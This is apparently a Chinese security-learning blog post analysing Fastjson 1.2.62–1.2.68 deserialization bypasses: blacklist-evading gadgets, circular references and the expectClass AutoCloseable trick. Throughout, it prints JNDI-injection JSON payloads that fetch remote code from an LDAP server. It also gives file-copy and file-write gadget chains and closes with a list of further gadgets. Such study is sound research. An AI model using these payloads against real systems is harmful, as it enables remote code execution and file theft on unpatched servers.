Fastjson1.2.62-1.2.68绕过
1.2.62漏洞分析
前言
学的过程发现有些依赖导入真的慢,所以这里直接把整个pom.xml贴出来可以一次性导完算了,看自己选择
1 | <dependencies> |
这就是整个fastjson复现所需的依赖了
前提条件
- 需要开启AutoType;
- Fastjson <= 1.2.62;
- JNDI注入利用所受的JDK版本限制;
- 目标服务端需要存在xbean-reflect包;xbean-reflect 包的版本不限,我这里把 pom.xml 贴出来。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.62</version>
</dependency>
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.18</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
漏洞原理
这个链子也是黑名单的绕过,所以补丁就不看了直接看漏洞原理
这个版本绕过黑民单利用的是org.apache.xbean.propertyeditor.JndiConverter
类的 toObjectImpl()
函数存在 JNDI 注入漏洞,可由其构造函数处触发利用。
但是toObjectImpl
并不是getter或者setter方法,其实这些都在其父类完成在构造函数中调用了父类AbstractConverter
的构造函数,而在父类中的一个setter方法即setAsText
方法中调用了toObject
继续看toObject
方法,里面调用了toObjectImpl
方法
然后看父类的toObjectImpl
方法
是一个抽象方法,意味着只能在其子类中实现,这样就调到了org.apache.xbean.propertyeditor.JndiConverter
类的 toObjectImpl()
方法
所以exp如下,server端还是用之前的
1 | package bypass; |
调试分析
下面调试看一下,直接在checkAutoType函数下断点来到这里看,在这个版本中又多了一些代码逻辑这里借用一下Drunkbaby佬的代码解释吧
1 | if (typeName == null) { |
然后来到下面这里会进行一个黑白名单检测,这个类都不在所以继续往下
往下来到了这里进行类加载
跟进去发现在下面这里拿到了JndiConerter类返回了clazz完成了类加载
后面就是调用构造方法的过程了不看了
这里未开启AutoType为什么不行可以参考下面博客
Fastjson反序列化漏洞(4)—1.2.68版本 – JohnFrod’s Blog
1.2.66漏洞分析
前提条件
- 开启AutoType;
- Fastjson <= 1.2.66;
- JNDI注入利用所受的JDK版本限制;
- org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
- br.com.anteros.dbcp.AnterosDBCPConfig 类需要 Anteros-Core和 Anteros-DBCP 包;
- com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;
导入maven的包可以在Maven Repository: Search/Browse/Explore (mvnrepository.com)直接找
EXP
新Gadget绕过黑名单限制。
1.2.66涉及多条Gadget链,原理都是存在JDNI注入漏洞。
org.apache.shiro.realm.jndi.JndiRealmFactory类PoC:
1 | {"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]} |
br.com.anteros.dbcp.AnterosDBCPConfig类PoC:
1 | {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1389/Exploit"} |
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类PoC:
1 | {\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://127.0.0.1:1099/Exploit\"}} |
这条链的这个包没找到这个版本的利用失败
各条链的exp如下
1 | package bypass; |
这几条链子都是利用的jndi打的,也是拿一些新的类绕的黑名单
1.2.67漏洞分析
这个也是黑名单绕过,不过用到到了新的东西学习一下
前提条件
- 开启AutoType;
- Fastjson <= 1.2.67;
- JNDI注入利用所受的JDK版本限制;
- org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
- org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;
漏洞原理
新Gadget绕过黑名单限制。
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC:
1 | {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}} |
org.apache.shiro.jndi.JndiObjectFactory类PoC:
1 | {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}} |
EXP
1 | package bypass; |
调试分析
看一下关键的地方
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
根据PoC:{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}
先调用jndiNames属性的setter
方法,注意这里接收参数类型是List,因此构造对应的值需要是数组形式:
然后是这里的getTm()
函数,回忆一下getter的调用要满足的条件,这个getter并不满足,但是为什么能调用到呢?这里就涉及到了Fastjson循环引用
Fastjson循环引用
Fastjson支持循环引用,并且是默认打开的。参考:https://github.com/alibaba/fastjson/wiki/%E5%BE%AA%E7%8E%AF%E5%BC%95%E7%94%A8
在Fastjson中,往JSONArray类型的对象里面add数据时,如果数据相同,那么就会被替换成$ref
,也就是被简化了,因为数据一样所以直接指向上一条数据。
$ref
即循环引用:当一个对象包含另一个对象时,Fastjson就会把该对象解析成引用。引用是通过$ref
标示的。
语法 | 描述 |
---|---|
{"$ref":"$"} |
引用根对象 |
{"$ref":"@"} |
引用自己 |
{"$ref":".."} |
引用父对象 |
{"$ref":"../.."} |
引用父对象的父对象 |
{"$ref":"$.members[0].reportTo"} |
基于路径的引用 |
那这样就清楚了,org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC中后面那段的{"$ref":"$.tm"}
,实际上就是基于路径的引用,相当于是调用root.getTm()
函数,这个root通常表示整个 JSON 对象的根,进而直接调用了tm字段的getter
方法了。
org.apache.shiro.jndi.JndiObjectFactory
根据PoC:{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}
先调用resourceName属性的setter
方法设置属性值:
往下,就是和前面同理的,通过"instance":{"$ref":"$.instance"}
即循环引用来调用instance的getter
方法,其中存在JNDI注入漏洞:
然后这个修复也是加黑名单
1.2.68漏洞分析(expectClass绕过AutoType)
前提条件
- Fastjson <= 1.2.68;
- 利用类必须是expectClass类的子类或实现类,并且不在黑名单中;
漏洞原理
本次绕过checkAutoType()
函数的关键点在于其第二个参数expectClass,可以通过构造恶意JSON数据、传入某个类作为expectClass参数再传入另一个expectClass类的子类或实现类来实现绕过checkAutoType()
函数执行恶意操作。
简单地说,本次绕过checkAutoType()
函数的攻击步骤为:
- 先传入某个类,其加载成功后将作为expectClass参数传入
checkAutoType()
函数; - 查找expectClass类的子类或实现类,如果存在这样一个子类或实现类其构造方法或
setter
方法中存在危险操作则可以被攻击利用;
漏洞复现
简单地验证利用expectClass绕过的可行性,先假设Fastjson服务端存在如下实现AutoCloseable接口类的恶意类VulAutoCloseable:
1 | package bypass; |
exp如下
1 | package bypass; |
无需开启AutoType,直接成功绕过CheckAutoType()
的检测从而触发执行:
调试分析
这里直接在checkAutoType函数下断点,看看怎么绕过的
第一次是传入java.lang.AutoCloseable类进行校验,这里CheckAutoType()
函数的expectClass参数是为null的
然后继续往下,从缓存 Mapping 中获取到了 AutoCloseable
类赋值给 clazz
后再进行了一系列的判断,clazz
是否为 null,以及关于 internalWhite 的判断,internalWhite 就是内部加白的名单,很显然我们这里肯定不是,内部加白的名单一定是非常安全的。
然后后面这个判断里面出现了 expectClass
,先判断 clazz
是否不是 expectClass
类的继承类且不是 HashMap
类型,是的话抛出异常,否则直接返回该类。
我们这里没有 expectClass
,所以会直接返回 AutoCloseable
类:
接着,返回到 DefaultJSONParser
类中获取到 clazz
后再继续执行,根据 AutoCloseable
类获取到反序列化器为 JavaBeanDeserializer
,然后应用该反序列化器进行反序列化操作:
然后进入deserialze这里,调用的是 JavaBeanDeserializer
的 deserialze()
方法进行反序列化操作,其中 type 参数就是传入的 AutoCloseable类
,如图:
往下的逻辑,就是解析获取 PoC 后面的类的过程。这里看到获取不到对象反序列化器之后,就会进去如图的判断逻辑中,设置 type 参数即 java.lang.AutoCloseable
类为 checkAutoType()
方法的 expectClass 参数来调用 checkAutoType()
函数来获取指定类型,然后在获取指定的反序列化器
此时,第二次进入 checkAutoType()
函数,typeName 参数是 PoC 中第二个指定的类,expectClass 参数则是 PoC 中第一个指定的类
往下,由于java.lang.AutoCloseable类并非其中黑名单中的类,因此expectClassFlag被设置为true:
往下,由于expectClassFlag为true且目标类不在内部白名单中,程序进入AutoType开启时的检测逻辑
由于org.example.VulAutoCloseable类不在黑白名单中,因此这段能通过检测并继续往下执行。
往下,未加载成功目标类,就会进入AutoType关闭时的检测逻辑,和上同理,这段能通过检测并继续往下执行:
往下,由于expectClassFlag为true,进入如下的loadClass()
逻辑来加载目标类,但是由于AutoType关闭且jsonType为false,因此调用loadClass()
函数的时候是不开启cache即缓存的
跟进该函数,使用AppClassLoader加载org.example.VulAutoCloseable类并直接返回:
往下,判断是否jsonType,true的话直接添加Mapping缓存并返回类,否则接着判断返回的类是否是ClassLoader、DataSource、RowSet等类的子类,是的话直接抛出异常,这也是过滤大多数JNDI注入Gadget的机制:
前面的都能通过,往下,如果expectClass不为null,则判断目标类是否是expectClass类的子类,是的话就添加到Mapping缓存中并直接返回该目标类,否则直接抛出异常导致利用失败,这里就解释了为什么恶意类必须要继承AutoCloseable接口类,因为这里expectClass为AutoCloseable类、因此恶意类必须是AutoCloseable类的子类才能通过这里的判断:checkAutoType()
调用完返回类之后,就进行反序列化操作、新建恶意类实例进而调用其构造函数从而成功触发漏洞:
小结:
第一个 @type
是作为第二个指定的类里面的 expectClass,并且需要加载的目标类是expectClass类的子类或者实现类这就是构造恶意类为什么VulAutoCloseable(继承或者)实现AutoCloseable类 (不在黑名单中),当传入checkAutoType()
函数的expectClass参数不为null,并且需要加载的目标类是expectClass类的子类或者实现类时(不在黑名单中),就将需要加载的目标类当做是正常的类然后通过调用TypeUtils.loadClass()
函数进行加载。
实际利用
这里就是找一下实际中可利用的类,因为上面是自己构造的验证一下可行性
寻找关于输入输出流的类来写文件,IntputStream和OutputStream都是实现了AutoCloseable接口的。
大佬寻找 gadget 时的条件是这样的。
- 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
- 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,参数类型必须是byte
[]
、ByteBuffer、String、char[]
其中的一个,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream - 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 close、write 或 flush 方法
以上三个组合在一起就能构造成一个写文件的利用链,我通过扫描了一下 JDK ,找到了符合第一个和第三个条件的类。
分别是 FileOutputStream 和 ObjectOutputStream,但这两个类选取的构造器,不符合情况,所以只能找到这两个类的子类,或者功能相同的类。
复制文件(任意文件读取漏洞)
利用类:org.eclipse.core.internal.localstore.SafeFileOutputStream
依赖:
1 | <dependency> |
看下SafeFileOutputStream类的源码,其SafeFileOutputStream(java.lang.String, java.lang.String)
构造函数判断了如果targetPath文件不存在且tempPath文件存在,就会把tempPath复制到targetPath中,正是利用其构造函数的这个特点来实现Web场景下的任意文件读取
1 | public class SafeFileOutputStream extends OutputStream { |
exp如下,这里不得不说依赖导的真慢,我下载地址都换成了国内的了还这么慢
1 | package bypass; |
这里成功自动生成了flag.txt并且把win.ini复制了下来
写入文件
写内容类:com.esotericsoftware.kryo.io.Output
依赖:
1 | <dependency> |
Output类主要用来写内容,它提供了setBuffer()
和setOutputStream()
两个setter方法可以用来写入输入流,其中buffer参数值是文件内容,outputStream参数值就是前面的SafeFileOutputStream类对象,而要触发写文件操作则需要调用其flush()
函数:
1 | /** Sets a new OutputStream. The position and total are reset, discarding any buffered bytes. |
接着,就是要看怎么触发Output类flush()
函数了,flush()
函数只有在close()
和require()
函数被调用时才会触发,其中require()
函数在调用write相关函数时会被触发。
其中,找到JDK的ObjectOutputStream类,其内部类BlockDataOutputStream的构造函数中将OutputStream类型参数赋值给out成员变量,而其setBlockDataMode()
函数中调用了drain()
函数、drain()
函数中又调用了out.write()
函数,满足前面的需求:
1 | /** |
对于setBlockDataMode()函数的调用,在ObjectOutputStream类的有参构造函数中就存在:
1 | public ObjectOutputStream(OutputStream out) throws IOException { |
但是Fastjson优先获取的是ObjectOutputStream类的无参构造函数,因此只能找ObjectOutputStream的继承类来触发了。
只有有参构造函数的ObjectOutputStream继承类:com.sleepycat.bind.serial.SerialOutput
看到,SerialOutput类的构造函数中是调用了父类ObjectOutputStream的有参构造函数,这就满足了前面的条件了:
1 | public SerialOutput(OutputStream out, ClassCatalog classCatalog) |
exp如下,用到了Fastjson循环引用的技巧来调用:
1 | package bypass; |
这里写入文件内容其实有限制,有的特殊字符并不能直接写入到目标文件中,比如写不进PHP代码等。
这里就有点没懂了,我的test.txt其实是不存在的但是也利用成功了?仔细审一下SafeFileOutputStream代码(我靠GPT)
SafeFileOutputStream(File file)
:构造函数接受一个File对象,它会调用另一个构造函数来初始化。它将文件的绝对路径传递给第二个构造函数,tempPath参数为null。SafeFileOutputStream(String targetPath, String tempPath)
:这个构造函数用于初始化SafeFileOutputStream对象。它首先创建一个File对象来表示目标文件,然后调用createTempFile
方法创建一个File对象来表示临时文件。接着,它检查目标文件是否存在,如果不存在,则创建一个新的BufferedOutputStream对象用于写入目标文件,否则将临时文件的内容复制到目标文件中。
复制文件是如果tempPath存在就会直接复制,如果不存在不会创建它只是用来指定路径,但是写文件就是利用buffer参数就写入内容然后生成一个文件,但是在实际渗透中怎么利用还是没get到,难道是直接写shell?
其他一些绕过黑名单的Gadget
这里补充下其他一些Gadget,可自行尝试。注意,均需要开启AutoType,且会被JNDI注入利用所受的JDK版本限制。
1.2.59
com.zaxxer.hikari.HikariConfig类PoC:
1 | {"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"} |
1.2.61
org.apache.commons.proxy.provider.remoting.SessionBeanProvider类PoC:
1 | {"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"} |
1.2.62
org.apache.cocoon.components.slide.impl.JMSContentInterceptor类PoC:
1 | {"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""} |
1.2.68
org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig类PoC:
1 | {"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"} |
com.caucho.config.types.ResourceRef类PoC:
1 | {"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}} |
未知版本
org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory类PoC:
1 | {"@type":"org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}} |
org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory类PoC:
1 | {"@type":"org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}} |
参考
终于把基础的链子勉强学完了,可以看其它的了,不过这些还是得时不时看下不然一下就忘了
Fastjson反序列化漏洞(4)—1.2.68版本 – JohnFrod’s Blog
Java反序列化Fastjson篇04-Fastjson1.2.62-1.2.68版本反序列化漏洞 | Drunkbaby’s Blog (drun1baby.top)